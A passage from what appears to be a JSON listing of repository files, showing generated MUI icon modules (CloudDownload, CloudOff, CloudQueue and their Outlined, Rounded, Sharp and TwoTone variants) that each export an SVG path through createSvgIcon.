3m-9-3.82-2.09-2.09L6.5 13.5 10 17l6.01-6.01-1.41-1.41z\"\n}, \"1\")], 'CloudDoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-5 5-5-5h3V9h4v4z\"\n}), 'CloudDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-5 5-5-5h3V9h4v4z\"\n}), 'CloudDownload');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3m-5.55-8h-2.9v3H8l4 4 4-4h-2.55z\"\n}), 'CloudDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3m-5.55-8h-2.9v3H8l4 4 4-4h-2.55z\"\n}), 'CloudDownloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-4.65 4.65c-.2.2-.51.2-.71 0L7 13h3V9h4v4z\"\n}), 'CloudDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-4.65 4.65c-.2.2-.51.2-.71 0L7 13h3V9h4v4z\"\n}), 'CloudDownloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-5 5-5-5h3V9h4v4z\"\n}), 'CloudDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M17 13l-5 5-5-5h3V9h4v4z\"\n}), 'CloudDownloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96M12 17l-4-4h2.55v-3h2.91v3H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3m-5.55-8h-2.9v3H8l4 4 4-4h-2.55z\"\n}, \"1\")], 'CloudDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudDownloadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96M12 17l-4-4h2.55v-3h2.91v3H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3m-5.55-8h-2.9v3H8l4 4 4-4h-2.55z\"\n}, \"1\")], 'CloudDownloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4c-1.48 0-2.85.43-4.01 1.17l1.46 1.46C10.21 6.23 11.08 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 1.13-.64 2.11-1.56 2.62l1.45 1.45C23.16 18.16 24 16.68 24 15c0-2.64-2.05-4.78-4.65-4.96M3 5.27l2.75 2.74C2.56 8.15 0 10.77 0 14c0 3.31 2.69 6 6 6h11.73l2 2L21 20.73 4.27 4zM7.73 10l8 8H6c-2.21 0-4-1.79-4-4s1.79-4 4-4z\"\n}), 'CloudOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4c-1.48 0-2.85.43-4.01 1.17l1.46 1.46C10.21 6.23 11.08 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 1.13-.64 2.11-1.56 2.62l1.45 1.45C23.16 18.16 24 16.68 24 15c0-2.64-2.05-4.78-4.65-4.96M3 5.27l2.75 2.74C2.56 8.15 0 10.77 0 14c0 3.31 2.69 6 6 6h11.73l2 2L21 20.73 4.27 4zM7.73 10l8 8H6c-2.21 0-4-1.79-4-4s1.79-4 4-4z\"\n}), 'CloudOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M4.41 3.86 3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41zM6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M4.41 3.86 3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41zM6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M3.71 4.56c-.39.39-.39 1.02 0 1.41l2.06 2.06h-.42c-3.28.35-5.76 3.34-5.29 6.79C.46 17.84 3.19 20 6.22 20h11.51l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 4.56a.996.996 0 0 0-1.41 0M6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M3.71 4.56c-.39.39-.39 1.02 0 1.41l2.06 2.06h-.42c-3.28.35-5.76 3.34-5.29 6.79C.46 17.84 3.19 20 6.22 20h11.51l1.29 1.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L5.12 4.56a.996.996 0 0 0-1.41 0M6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M4.41 3.86 3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41zM6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 15c0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81M4.41 3.86 3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41zM6 18c-2.21 0-4-1.79-4-4s1.79-4 4-4h1.73l8 8z\"\n}), 'CloudOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 15c0-1.66-1.34-3-3-3h-1.5v-.5C17.5 8.46 15.04 6 12 6c-.77 0-1.49.17-2.16.46L20.79 17.4c.73-.55 1.21-1.41 1.21-2.4M2 14c0 2.21 1.79 4 4 4h9.73l-8-8H6c-2.21 0-4 1.79-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81 0-2.64-2.05-4.78-4.65-4.96M3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41L4.41 3.86zM7.73 10l8 8H6c-2.21 0-4-1.79-4-4s1.79-4 4-4z\"\n}, \"1\")], 'CloudOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 15c0-1.66-1.34-3-3-3h-1.5v-.5C17.5 8.46 15.04 6 12 6c-.77 0-1.49.17-2.16.46L20.79 17.4c.73-.55 1.21-1.41 1.21-2.4M2 14c0 2.21 1.79 4 4 4h9.73l-8-8H6c-2.21 0-4 1.79-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4c-1.33 0-2.57.36-3.65.97l1.49 1.49C10.51 6.17 11.23 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3 0 .99-.48 1.85-1.21 2.4l1.41 1.41c1.09-.92 1.8-2.27 1.8-3.81 0-2.64-2.05-4.78-4.65-4.96M3 5.27l2.77 2.77h-.42C2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h11.73l2 2 1.41-1.41L4.41 3.86zM7.73 10l8 8H6c-2.21 0-4-1.79-4-4s1.79-4 4-4z\"\n}, \"1\")], 'CloudOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6m0-2C9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4\"\n}), 'CloudOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6m0-2C9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4\"\n}), 'CloudOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueue.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueue.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueue');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueSharp.js",
